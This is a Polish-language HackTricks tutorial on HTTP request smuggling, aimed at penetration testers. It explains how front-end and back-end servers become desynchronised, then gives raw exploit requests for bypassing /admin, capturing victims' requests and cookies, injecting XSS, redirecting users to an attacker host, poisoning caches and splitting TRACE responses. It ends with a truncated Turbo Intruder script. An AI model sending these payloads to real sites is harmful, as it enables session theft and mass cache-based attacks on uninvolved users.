hacktricks/pentesting-web/http-request-smuggling/README.md

39 KiB

HTTP Request Smuggling / HTTP Desync Attack

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}

Czym jest

Ta luka występuje, gdy desynchronizacja między proxy front-end a serwerem back-end pozwala atakującemu na wysłanie żądania HTTP, które będzie interpretowane jako jedno żądanie przez proxy front-end (load balance/reverse-proxy) i jako 2 żądania przez serwer back-end.
To pozwala użytkownikowi na zmodyfikowanie następnego żądania, które dotrze do serwera back-end po jego.

Teoria

Specyfikacja RFC (2161)

Jeśli wiadomość jest odbierana z zarówno polem nagłówka Transfer-Encoding, jak i polem nagłówka Content-Length, to to drugie MUSI być zignorowane.

Content-Length

Nagłówek Content-Length wskazuje rozmiar ciała encji, w bajtach, wysłanego do odbiorcy.

Transfer-Encoding: chunked

Nagłówek Transfer-Encoding określa formę kodowania używaną do bezpiecznego przesyłania ciała ładunku do użytkownika.
Chunked oznacza, że duże dane są wysyłane w serii kawałków.

Rzeczywistość

Front-End (load-balance / Reverse Proxy) przetwarza nagłówek content-length lub transfer-encoding a serwer Back-end przetwarza drugi, co powoduje desynchronizację między 2 systemami.
Może to być bardzo krytyczne, ponieważ atakujący będzie mógł wysłać jedno żądanie do reverse proxy, które będzie interpretowane przez serwer back-end jako 2 różne żądania. Niebezpieczeństwo tej techniki polega na tym, że serwer back-end zinterpretuje 2-gie wstrzyknięte żądanie tak, jakby pochodziło od następnego klienta, a prawdziwe żądanie tego klienta będzie częścią wstrzykniętego żądania.

Szczególności

Pamiętaj, że w HTTP znak nowej linii składa się z 2 bajtów:

  • Content-Length: Ten nagłówek używa liczby dziesiętnej do wskazania liczby bajtów ciała żądania. Oczekuje się, że ciało zakończy się na ostatnim znaku, znak nowej linii nie jest potrzebny na końcu żądania.
  • Transfer-Encoding: Ten nagłówek używa w ciele liczby szesnastkowej do wskazania liczby bajtów następnego kawałka. Kawałek musi kończyć się znakiem nowej linii, ale ten nowy znak nie jest liczony przez wskaźnik długości. Ta metoda transferu musi kończyć się kawałkiem o rozmiarze 0, po którym następują 2 nowe linie: 0
  • Connection: Na podstawie mojego doświadczenia zaleca się użycie Connection: keep-alive w pierwszym żądaniu w request Smuggling.

Podstawowe przykłady

{% hint style="success" %} Próbując wykorzystać to z Burp Suite wyłącz Update Content-Length i Normalize HTTP/1 line endings w repeaterze, ponieważ niektóre gadżety nadużywają nowych linii, powrotów karetki i źle sformułowanych długości treści. {% endhint %}

Ataki HTTP request smuggling są tworzone poprzez wysyłanie niejednoznacznych żądań, które wykorzystują różnice w tym, jak serwery front-end i back-end interpretują nagłówki Content-Length (CL) i Transfer-Encoding (TE). Ataki te mogą manifestować się w różnych formach, głównie jako CL.TE, TE.CL i TE.TE. Każdy typ reprezentuje unikalną kombinację tego, jak serwery front-end i back-end priorytetują te nagłówki. Luka powstaje, gdy serwery przetwarzają to samo żądanie w różny sposób, prowadząc do nieoczekiwanych i potencjalnie złośliwych skutków.

Podstawowe przykłady typów luk

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

{% hint style="info" %} Do poprzedniej tabeli powinieneś dodać technikę TE.0, jak technikę CL.0, ale używając Transfer Encoding. {% endhint %}

Luka CL.TE (Content-Length używany przez Front-End, Transfer-Encoding używany przez Back-End)

  • Front-End (CL): Przetwarza żądanie na podstawie nagłówka Content-Length.
  • Back-End (TE): Przetwarza żądanie na podstawie nagłówka Transfer-Encoding.
  • Scenariusz ataku:
  • Atakujący wysyła żądanie, w którym wartość nagłówka Content-Length nie odpowiada rzeczywistej długości treści.
  • Serwer front-end przesyła całe żądanie do back-endu, opierając się na wartości Content-Length.
  • Serwer back-end przetwarza żądanie jako kawałkowe z powodu nagłówka Transfer-Encoding: chunked, interpretując pozostałe dane jako osobne, następne żądanie.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

Luka TE.CL (Transfer-Encoding używany przez Front-End, Content-Length używany przez Back-End)

  • Front-End (TE): Przetwarza żądanie na podstawie nagłówka Transfer-Encoding.
  • Back-End (CL): Przetwarza żądanie na podstawie nagłówka Content-Length.
  • Scenariusz ataku:
  • Atakujący wysyła żądanie kawałkowe, w którym rozmiar kawałka (7b) i rzeczywista długość treści (Content-Length: 4) nie są zgodne.
  • Serwer front-end, honorując Transfer-Encoding, przesyła całe żądanie do back-endu.
  • Serwer back-end, respektując Content-Length, przetwarza tylko początkową część żądania (7b bajtów), pozostawiając resztę jako część niezamierzonego następnego żądania.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

Luka TE.TE (Transfer-Encoding używany przez oba, z obfuscacją)

  • Serwery: Oba wspierają Transfer-Encoding, ale jeden może być oszukany, aby go zignorować poprzez obfuscację.
  • Scenariusz ataku:
  • Atakujący wysyła żądanie z obfuscowanymi nagłówkami Transfer-Encoding.
  • W zależności od tego, który serwer (front-end lub back-end) nie rozpozna obfuscacji, może zostać wykorzystana luka CL.TE lub TE.CL.
  • Niezrealizowana część żądania, widziana przez jeden z serwerów, staje się częścią następnego żądania, prowadząc do smugglingu.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Scenariusz CL.CL (Content-Length używany przez oba, Front-End i Back-End)

  • Oba serwery przetwarzają żądanie wyłącznie na podstawie nagłówka Content-Length.
  • Ten scenariusz zazwyczaj nie prowadzi do smugglingu, ponieważ istnieje zgodność w tym, jak oba serwery interpretują długość żądania.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

Scenariusz CL.0

  • Odnosi się do scenariuszy, w których nagłówek Content-Length jest obecny i ma wartość inną niż zero, co wskazuje, że ciało żądania ma zawartość. Serwer back-end ignoruje nagłówek Content-Length (który jest traktowany jako 0), ale front-end go analizuje.
  • Jest to kluczowe w zrozumieniu i tworzeniu ataków smugglingowych, ponieważ wpływa na to, jak serwery określają koniec żądania.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

Scenariusz TE.0

  • Podobnie jak poprzedni, ale używając TE.
  • Technika zgłoszona tutaj
  • Przykład:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Łamanie serwera WWW

Ta technika jest również przydatna w scenariuszach, w których możliwe jest złamanie serwera WWW podczas odczytywania początkowych danych HTTP, ale bez zamykania połączenia. W ten sposób ciało żądania HTTP będzie traktowane jako następne żądanie HTTP.

Na przykład, jak wyjaśniono w tym opisie, w Werkzeug możliwe było wysłanie niektórych znaków Unicode, co spowodowało złamanie serwera. Jednak jeśli połączenie HTTP zostało utworzone z nagłówkiem Connection: keep-alive, ciało żądania nie zostanie odczytane, a połączenie nadal będzie otwarte, więc ciało żądania będzie traktowane jako następne żądanie HTTP.

Wymuszanie przez nagłówki hop-by-hop

Wykorzystując nagłówki hop-by-hop, można wskazać proxy, aby usunęło nagłówek Content-Length lub Transfer-Encoding, aby możliwe było nadużycie HTTP request smuggling.

Connection: Content-Length

For więcej informacji o nagłówkach hop-by-hop odwiedź:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Znajdowanie HTTP Request Smuggling

Identyfikacja podatności na HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo trwa odpowiedź serwera na manipulowane żądania. Techniki te są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:

Znajdowanie podatności CL.TE za pomocą technik czasowych

  • Metoda:
  • Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer zaplecza będzie czekał na dodatkowe dane.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Obserwacja:
  • Serwer front-end przetwarza żądanie na podstawie Content-Length i przerywa wiadomość przedwcześnie.
  • Serwer zaplecza, oczekując na wiadomość w formacie chunked, czeka na następny kawałek, który nigdy nie nadchodzi, co powoduje opóźnienie.
  • Wskaźniki:
  • Przekroczenia czasu lub długie opóźnienia w odpowiedzi.
  • Otrzymanie błędu 400 Bad Request od serwera zaplecza, czasami z szczegółowymi informacjami o serwerze.

Znajdowanie podatności TE.CL za pomocą technik czasowych

  • Metoda:
  • Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer zaplecza będzie czekał na dodatkowe dane.
  • Przykład:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Obserwacja:
  • Serwer front-end przetwarza żądanie na podstawie Transfer-Encoding i przesyła całą wiadomość.
  • Serwer zaplecza, oczekując na wiadomość na podstawie Content-Length, czeka na dodatkowe dane, które nigdy nie nadchodzą, co powoduje opóźnienie.

Inne metody znajdowania podatności

  • Analiza różnic w odpowiedziach:
  • Wyślij nieco zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w nieoczekiwany sposób, co wskazuje na niezgodność w analizie.
  • Używanie narzędzi automatycznych:
  • Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
  • Testy zmienności Content-Length:
  • Wyślij żądania z różnymi wartościami Content-Length, które nie są zgodne z rzeczywistą długością treści i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
  • Testy zmienności Transfer-Encoding:
  • Wyślij żądania z zafałszowanymi lub źle sformułowanymi nagłówkami Transfer-Encoding i monitoruj, jak różnie serwery front-end i zaplecza reagują na takie manipulacje.

Testowanie podatności na HTTP Request Smuggling

Po potwierdzeniu skuteczności technik czasowych, kluczowe jest zweryfikowanie, czy żądania klienta mogą być manipulowane. Prosta metoda to próba zainfekowania swoich żądań, na przykład, aby żądanie do / zwróciło odpowiedź 404. Przykłady CL.TE i TE.CL omówione wcześniej w Podstawowych przykładach pokazują, jak zainfekować żądanie klienta, aby wywołać odpowiedź 404, mimo że klient dążył do uzyskania dostępu do innego zasobu.

Kluczowe uwagi

Podczas testowania podatności na request smuggling poprzez zakłócanie innych żądań, pamiętaj o:

  • Oddzielnych połączeniach sieciowych: "atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Wykorzystanie tego samego połączenia dla obu nie potwierdza obecności podatności.
  • Spójnych URL i parametrów: Staraj się używać identycznych URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów zaplecza na podstawie URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania będą przetwarzane przez ten sam serwer, co jest warunkiem udanego ataku.
  • Warunków czasowych i wyścigowych: "normalne" żądanie, mające na celu wykrycie zakłóceń ze strony "atakującego" żądania, konkuruje z innymi równoległymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie natychmiast po "atakującym" żądaniu. Zajęte aplikacje mogą wymagać wielu prób dla ostatecznego potwierdzenia podatności.
  • Wyzwania związane z równoważeniem obciążenia: Serwery front-end działające jako równoważniki obciążenia mogą rozdzielać żądania między różne systemy zaplecza. Jeśli "atak" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Ten aspekt równoważenia obciążenia może wymagać kilku prób, aby potwierdzić podatność.
  • Niezamierzony wpływ na użytkowników: Jeśli twój atak niezamierzenie wpływa na żądanie innego użytkownika (nie "normalne" żądanie, które wysłałeś w celu wykrycia), wskazuje to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócać innych użytkowników, co wymaga ostrożnego podejścia.

Wykorzystywanie HTTP Request Smuggling

Ominięcie zabezpieczeń front-end za pomocą HTTP Request Smuggling

Czasami proxy front-end wprowadza środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą być obejście poprzez wykorzystanie HTTP Request Smuggling, co pozwala na nieautoryzowany dostęp do zastrzeżonych punktów końcowych. Na przykład, dostęp do /admin może być zabroniony z zewnątrz, a proxy front-end aktywnie blokuje takie próby. Niemniej jednak, to proxy może zaniedbać sprawdzenie osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając lukę do ominięcia tych ograniczeń.

Rozważ następujące przykłady ilustrujące, jak HTTP Request Smuggling może być używane do ominięcia zabezpieczeń front-end, szczególnie celując w ścieżkę /admin, która jest zazwyczaj chroniona przez proxy front-end:

Przykład CL.TE

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

W ataku CL.TE nagłówek Content-Length jest wykorzystywany w początkowym żądaniu, podczas gdy osadzone żądanie wykorzystuje nagłówek Transfer-Encoding: chunked. Proxy front-end przetwarza początkowe żądanie POST, ale nie sprawdza osadzonego żądania GET /admin, co pozwala na nieautoryzowany dostęp do ścieżki /admin.

TE.CL Przykład

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

W przeciwnym razie, w ataku TE.CL, początkowe żądanie POST używa Transfer-Encoding: chunked, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka Content-Length. Podobnie jak w ataku CL.TE, proxy front-endowe pomija oszukańcze żądanie GET /admin, nieumyślnie przyznając dostęp do zastrzeżonej ścieżki /admin.

Odkrywanie przepisywania żądań front-endowych

Aplikacje często wykorzystują serwer front-endowy do modyfikacji przychodzących żądań przed ich przekazaniem do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak X-Forwarded-For: <IP klienta>, aby przekazać IP klienta do back-endu. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby na obejście zabezpieczeń lub ujawnienie ukrytych informacji lub punktów końcowych.

Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który back-end odzwierciedla w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

W tej strukturze, kolejne komponenty żądania są dołączane po search=, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.

Ważne jest, aby dostosować nagłówek Content-Length zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od małej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.

Ta technika ma również zastosowanie w kontekście podatności TE.CL, ale żądanie powinno kończyć się na search=\r\n0. Niezależnie od znaków nowej linii, wartości będą dołączane do parametru wyszukiwania.

Metoda ta służy głównie do zrozumienia modyfikacji żądania dokonywanych przez proxy front-end, zasadniczo przeprowadzając samodzielne dochodzenie.

Capturing other users' requests

Możliwe jest przechwycenie żądań następnego użytkownika, dołączając konkretne żądanie jako wartość parametru podczas operacji POST. Oto jak można to osiągnąć:

Dołączając następujące żądanie jako wartość parametru, możesz przechować żądanie kolejnego klienta:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

W tym scenariuszu, parametr komentarza ma na celu przechowywanie treści w sekcji komentarzy posta na publicznie dostępnym stronie. W związku z tym, zawartość kolejnego żądania pojawi się jako komentarz.

Jednak ta technika ma ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru używanego w przemycanym żądaniu. Dla przesyłania formularzy zakodowanych w URL, tym ogranicznikiem jest znak &. Oznacza to, że przechwycona zawartość z żądania użytkownika ofiary zatrzyma się na pierwszym &, który może być nawet częścią ciągu zapytania.

Dodatkowo, warto zauważyć, że podejście to jest również wykonalne w przypadku podatności TE.CL. W takich przypadkach, żądanie powinno kończyć się na search=\r\n0. Niezależnie od znaków nowej linii, wartości będą dodawane do parametru wyszukiwania.

Wykorzystanie przemycania żądań HTTP do eksploatacji odzwierciedlonego XSS

Przemycanie żądań HTTP może być wykorzystane do eksploatacji stron internetowych podatnych na odzwierciedlone XSS, oferując znaczące korzyści:

  • Interakcja z docelowymi użytkownikami nie jest wymagana.
  • Umożliwia eksploatację XSS w częściach żądania, które są normalnie niedostępne, jak nagłówki żądań HTTP.

W scenariuszach, w których strona internetowa jest podatna na odzwierciedlone XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Ten ładunek jest skonstruowany w celu wykorzystania luki poprzez:

  1. Inicjowanie żądania POST, które wydaje się typowe, z nagłówkiem Transfer-Encoding: chunked, aby wskazać początek smugglingu.
  2. Następnie, po nim, pojawia się 0, oznaczające koniec ciała wiadomości chunked.
  3. Następnie wprowadzane jest smuggled GET żądanie, w którym nagłówek User-Agent jest wstrzykiwany z skryptem, <script>alert(1)</script>, co wywołuje XSS, gdy serwer przetwarza to kolejne żądanie.

Manipulując User-Agent poprzez smuggling, ładunek omija normalne ograniczenia żądań, wykorzystując w ten sposób lukę Reflected XSS w niestandardowy, ale skuteczny sposób.

HTTP/0.9

{% hint style="danger" %} W przypadku, gdy zawartość użytkownika jest odzwierciedlana w odpowiedzi z Content-type takim jak text/plain, co uniemożliwia wykonanie XSS. Jeśli serwer obsługuje HTTP/0.9, może być możliwe ominięcie tego! {% endhint %}

Wersja HTTP/0.9 była wcześniejsza od 1.0 i używa tylko czasowników GET oraz nie odpowiada z nagłówkami, tylko ciałem.

W tym opisie to zostało nadużyte z wykorzystaniem smugglingu żądań i wrażliwego punktu końcowego, który odpowiada na dane użytkownika, aby smuggled żądanie z HTTP/0.9. Parametr, który będzie odzwierciedlany w odpowiedzi, zawierał fałszywą odpowiedź HTTP/1.1 (z nagłówkami i ciałem), więc odpowiedź będzie zawierać ważny wykonawczy kod JS z Content-Type równym text/html.

Wykorzystywanie przekierowań na stronie z użyciem HTTP Request Smuggling

Aplikacje często przekierowują z jednego URL do drugiego, używając nazwy hosta z nagłówka Host w URL przekierowania. Jest to powszechne w serwerach internetowych, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby dodać ukośnik:

GET /home HTTP/1.1
Host: normal-website.com

Wyniki w:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Choć na pozór nieszkodliwe, to zachowanie można wykorzystać za pomocą HTTP request smuggling do przekierowywania użytkowników na zewnętrzną stronę. Na przykład:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Ten przemycony żądanie może spowodować, że następne przetworzone żądanie użytkownika zostanie przekierowane na stronę kontrolowaną przez atakującego:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Wyniki w:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript jest przechwytywane. Atakujący może potencjalnie skompromitować użytkownika, dostarczając złośliwy JavaScript w odpowiedzi.

Wykorzystywanie złośliwego zatrucia pamięci podręcznej przez HTTP Request Smuggling

Zatrucie pamięci podręcznej w sieci może być zrealizowane, jeśli jakikolwiek komponent infrastruktury front-endowej buforuje treści, zazwyczaj w celu poprawy wydajności. Manipulując odpowiedzią serwera, możliwe jest zatrucie pamięci podręcznej.

Wcześniej zaobserwowaliśmy, jak odpowiedzi serwera mogą być zmieniane, aby zwracały błąd 404 (zobacz Podstawowe przykłady). Podobnie, możliwe jest oszukanie serwera, aby dostarczył treść /index.html w odpowiedzi na żądanie dotyczące /static/include.js. W konsekwencji treść /static/include.js zostaje zastąpiona w pamięci podręcznej treścią /index.html, co sprawia, że /static/include.js staje się niedostępne dla użytkowników, co potencjalnie prowadzi do Denial of Service (DoS).

Technika ta staje się szczególnie potężna, jeśli zostanie odkryta vulnerabilność Open Redirect lub jeśli istnieje przekierowanie na stronie do otwartego przekierowania. Takie luki mogą być wykorzystywane do zastąpienia buforowanej treści /static/include.js skryptem kontrolowanym przez atakującego, co zasadniczo umożliwia szeroką atak Cross-Site Scripting (XSS) przeciwko wszystkim klientom żądającym zaktualizowanego /static/include.js.

Poniżej znajduje się ilustracja wykorzystywania zatrucia pamięci podręcznej w połączeniu z przekierowaniem na stronie do otwartego przekierowania. Celem jest zmiana treści pamięci podręcznej /static/include.js, aby dostarczyć kod JavaScript kontrolowany przez atakującego:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Zauważ osadzony żądanie skierowane do /post/next?postId=3. To żądanie zostanie przekierowane do /post?postId=4, wykorzystując wartość nagłówka Host do określenia domeny. Zmieniając nagłówek Host, atakujący może przekierować żądanie do swojej domeny (przekierowanie na miejscu do otwartego przekierowania).

Po udanym zatruciu gniazda, powinno zostać zainicjowane żądanie GET dla /static/include.js. To żądanie zostanie zanieczyszczone przez wcześniejsze przekierowanie na miejscu do otwartego przekierowania i pobierze zawartość skryptu kontrolowanego przez atakującego.

Następnie każde żądanie dla /static/include.js będzie serwować pamiętaną zawartość skryptu atakującego, skutecznie uruchamiając szeroką akcję XSS.

Wykorzystanie smugglingu żądań HTTP do przeprowadzenia oszustwa w pamięci podręcznej

Jaka jest różnica między zatruciem pamięci podręcznej a oszustwem w pamięci podręcznej?

  • W zatruciu pamięci podręcznej, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, a ta zawartość jest serwowana z pamięci podręcznej innym użytkownikom aplikacji.
  • W oszustwie w pamięci podręcznej, atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący pobiera tę zawartość z pamięci podręcznej.

Atakujący tworzy przemyślane żądanie, które pobiera wrażliwą zawartość specyficzną dla użytkownika. Rozważ następujący przykład:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Jeśli ten przemycony żądanie zanieczyści wpis w pamięci podręcznej przeznaczony dla statycznej zawartości (np. /someimage.png), wrażliwe dane ofiary z /private/messages mogą być zbuforowane pod wpisem pamięci podręcznej statycznej zawartości. W konsekwencji, atakujący mógłby potencjalnie odzyskać te zbuforowane wrażliwe dane.

Wykorzystywanie TRACE za pomocą HTTP Request Smuggling

W tym poście zasugerowano, że jeśli serwer ma włączoną metodę TRACE, może być możliwe jej wykorzystanie za pomocą HTTP Request Smuggling. Dzieje się tak, ponieważ ta metoda odzwierciedli każdy nagłówek wysłany do serwera jako część treści odpowiedzi. Na przykład:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Będzie wysyłać odpowiedź taką jak:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Przykład, jak wykorzystać to zachowanie, polega na przemyceniu najpierw żądania HEAD. To żądanie zostanie odpowiedziane tylko nagłówkami żądania GET (Content-Type wśród nich). A następnie przemycić natychmiast po HEAD żądanie TRACE, które będzie odzwierciedlać wysłane dane.
Ponieważ odpowiedź HEAD będzie zawierać nagłówek Content-Length, odpowiedź żądania TRACE będzie traktowana jako ciało odpowiedzi HEAD, co zatem odzwierciedli dowolne dane w odpowiedzi.
Ta odpowiedź zostanie wysłana do następnego żądania przez połączenie, więc może to być użyte w pamięci podręcznej pliku JS, na przykład do wstrzyknięcia dowolnego kodu JS.

Wykorzystywanie TRACE poprzez HTTP Response Splitting

Kontynuując ten post, sugeruje się inny sposób wykorzystania metody TRACE. Jak wspomniano, przemycając żądanie HEAD i żądanie TRACE, możliwe jest kontrolowanie niektórych odzwierciedlonych danych w odpowiedzi na żądanie HEAD. Długość ciała żądania HEAD jest zasadniczo wskazywana w nagłówku Content-Length i jest tworzona przez odpowiedź na żądanie TRACE.

Dlatego nowy pomysł polega na tym, że, znając ten Content-Length i dane podane w odpowiedzi TRACE, możliwe jest sprawienie, aby odpowiedź TRACE zawierała ważną odpowiedź HTTP po ostatnim bajcie Content-Length, co pozwala atakującemu całkowicie kontrolować żądanie do następnej odpowiedzi (co mogłoby być użyte do przeprowadzenia zatrucia pamięci podręcznej).

Przykład:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Wygeneruje te odpowiedzi (zauważ, że odpowiedź HEAD ma Content-Length, co sprawia, że odpowiedź TRACE jest częścią ciała HEAD, a po zakończeniu Content-Length HEAD, ważna odpowiedź HTTP jest przemycana):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Uzbrajanie HTTP Request Smuggling za pomocą desynchronizacji odpowiedzi HTTP

Czy znalazłeś jakąś podatność na HTTP Request Smuggling i nie wiesz, jak ją wykorzystać? Spróbuj tych innych metod eksploatacji:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Inne techniki HTTP Request Smuggling

  • HTTP Request Smuggling w przeglądarkach (strona klienta)

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • Request Smuggling w downgrade'ach HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

Skrypty Turbo intruder

CL.TE

Z https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
